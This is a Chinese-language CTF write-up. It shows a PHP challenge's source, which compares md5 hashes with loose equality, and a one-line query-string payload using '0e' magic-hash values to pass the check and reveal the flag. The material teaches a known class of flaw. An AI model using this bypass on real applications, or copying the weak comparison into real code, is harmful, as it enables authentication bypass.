CTF-23解题思路

<div class="markdown-body editormd-preview-container" previewcontainer="true" style="padding: 20px;"><h2 id="h2-u89E3u7801u540Eu5F97u5230u6E90u7801"><a name="解码后得到源码" class="reference-link"></a><span class="header-link octicon octicon-link"></span>解码后得到源码</h2><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code class="lang-php"><span class="pun">&lt;?</span><span class="pln">php</span></code></li><li class="L1"><code class="lang-php"><span class="pln">error_reporting</span><span class="pun">(</span><span class="lit">0</span><span class="pun">);</span></code></li><li class="L2"><code class="lang-php"></code></li><li class="L3"><code class="lang-php"><span class="pun">?&gt;</span></code></li><li class="L4"><code class="lang-php"><span class="tag">&lt;html</span><span class="pln"> </span><span class="atn">lang</span><span class="pun">=</span><span class="atv">"zh-CN"</span><span class="tag">&gt;</span></code></li><li class="L5"><code class="lang-php"></code></li><li class="L6"><code class="lang-php"><span class="tag">&lt;head&gt;</span></code></li><li class="L7"><code class="lang-php"><span class="pln">    </span><span class="tag">&lt;meta</span><span class="pln"> </span><span class="atn">http-equiv</span><span class="pun">=</span><span class="atv">"Content-Type"</span><span class="pln"> </span><span class="atn">content</span><span class="pun">=</span><span class="atv">"text/html; charset=UTF-8"</span><span class="pln"> </span><span class="tag">/&gt;</span></code></li><li class="L8"><code class="lang-php"><span class="pln">    </span><span class="tag">&lt;meta</span><span class="pln"> </span><span class="atn">name</span><span class="pun">=</span><span class="atv">"viewport"</span><span class="pln"> </span><span class="atn">content</span><span class="pun">=</span><span class="atv">"width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0"</span><span class="pln"> </span><span class="tag">/&gt;</span></code></li><li class="L9"><code class="lang-php"><span class="pln">    </span><span class="tag">&lt;title&gt;</span><span class="pln">GOGO</span><span class="tag">&lt;/title&gt;</span></code></li><li class="L0"><code class="lang-php"><span class="tag">&lt;/head&gt;</span></code></li><li class="L1"><code class="lang-php"><span class="tag">&lt;body&gt;</span></code></li><li class="L2"><code class="lang-php"><span class="pln">    </span><span class="tag">&lt;center&gt;</span></code></li><li class="L3"><code class="lang-php"><span class="pln">    </span><span class="tag">&lt;h2&gt;</span><span class="pln">GOGO</span><span class="tag">&lt;/h2&gt;</span></code></li><li class="L4"><code class="lang-php"><span class="pln">    </span><span class="tag">&lt;hr&gt;</span></code></li><li class="L5"><code class="lang-php"><span class="pln">    </span><span class="tag">&lt;h3&gt;</span></code></li><li class="L6"><code class="lang-php"><span class="pln">    </span><span class="tag">&lt;/center&gt;</span></code></li><li class="L7"><code class="lang-php"><span class="pln">    </span><span class="pun">&lt;?</span><span class="pln">php</span></code></li><li class="L8"><code class="lang-php"><span class="pln">        $flag</span><span class="pun">=</span><span class="str">""</span><span class="pun">;</span></code></li><li class="L9"><code class="lang-php"><span class="pln">        $v1</span><span class="pun">=</span><span class="pln">$_GET</span><span class="pun">[</span><span class="str">'v1'</span><span class="pun">];</span></code></li><li class="L0"><code class="lang-php"><span class="pln">        $v2</span><span class="pun">=</span><span class="pln">$_GET</span><span class="pun">[</span><span class="str">'v2'</span><span class="pun">];</span></code></li><li class="L1"><code class="lang-php"><span class="pln">        </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$v1</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> isset</span><span class="pun">(</span><span class="pln">$v2</span><span class="pun">)){</span></code></li><li class="L2"><code class="lang-php"><span class="pln">            </span><span class="kwd">if</span><span class="pun">(!</span><span class="pln">ctype_alpha</span><span class="pun">(</span><span class="pln">$v1</span><span class="pun">)){</span></code></li><li class="L3"><code class="lang-php"><span class="pln">                </span><span class="kwd">die</span><span class="pun">(</span><span class="str">"v1 error"</span><span class="pun">);</span></code></li><li class="L4"><code class="lang-php"><span class="pln">            </span><span class="pun">}</span></code></li><li class="L5"><code class="lang-php"><span class="pln">            </span><span class="kwd">if</span><span class="pun">(!</span><span class="pln">is_numeric</span><span class="pun">(</span><span class="pln">$v2</span><span class="pun">)){</span></code></li><li class="L6"><code class="lang-php"><span class="pln">                </span><span class="kwd">die</span><span class="pun">(</span><span class="str">"v2 error"</span><span class="pun">);</span></code></li><li class="L7"><code class="lang-php"><span class="pln">            </span><span class="pun">}</span></code></li><li class="L8"><code class="lang-php"><span class="pln">            </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">md5</span><span class="pun">(</span><span class="pln">$v1</span><span class="pun">)==</span><span class="pln">md5</span><span class="pun">(</span><span class="pln">$v2</span><span class="pun">)){</span></code></li><li class="L9"><code class="lang-php"><span class="pln">                echo $flag</span><span class="pun">;</span></code></li><li class="L0"><code class="lang-php"><span class="pln">            </span><span class="pun">}</span></code></li><li class="L1"><code class="lang-php"><span class="pln">        </span><span class="pun">}</span><span class="kwd">else</span><span class="pun">{</span></code></li><li class="L2"><code class="lang-php"><span class="pln">            echo </span><span class="str">"where is flag?"</span><span class="pun">;</span></code></li><li class="L3"><code class="lang-php"><span class="pln">        </span><span class="pun">}</span></code></li><li class="L4"><code class="lang-php"><span class="pln">    </span><span class="pun">?&gt;</span></code></li><li class="L5"><code class="lang-php"><span class="tag">&lt;/body&gt;</span></code></li><li class="L6"><code class="lang-php"><span class="tag">&lt;/html&gt;</span></code></li></ol></pre>
<h3 id="h3-u9898u89E3"><a name="题解" class="reference-link"></a><span class="header-link octicon octicon-link"></span>题解</h3><p><strong>弱类型 + 0e md5</strong></p>
<p><a href="https://www.cnblogs.com/Oran9e/p/6537204.html">参考资料</a></p>
<h2 id="h2-payload-"><a name="payload:" class="reference-link"></a><span class="header-link octicon octicon-link"></span>payload:</h2><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code><span class="pun">?</span><span class="pln">v1</span><span class="pun">=</span><span class="pln">QNKCDZO</span><span class="pun">&amp;</span><span class="pln">v2</span><span class="pun">=</span><span class="lit">240610708</span></code></li></ol></pre></div>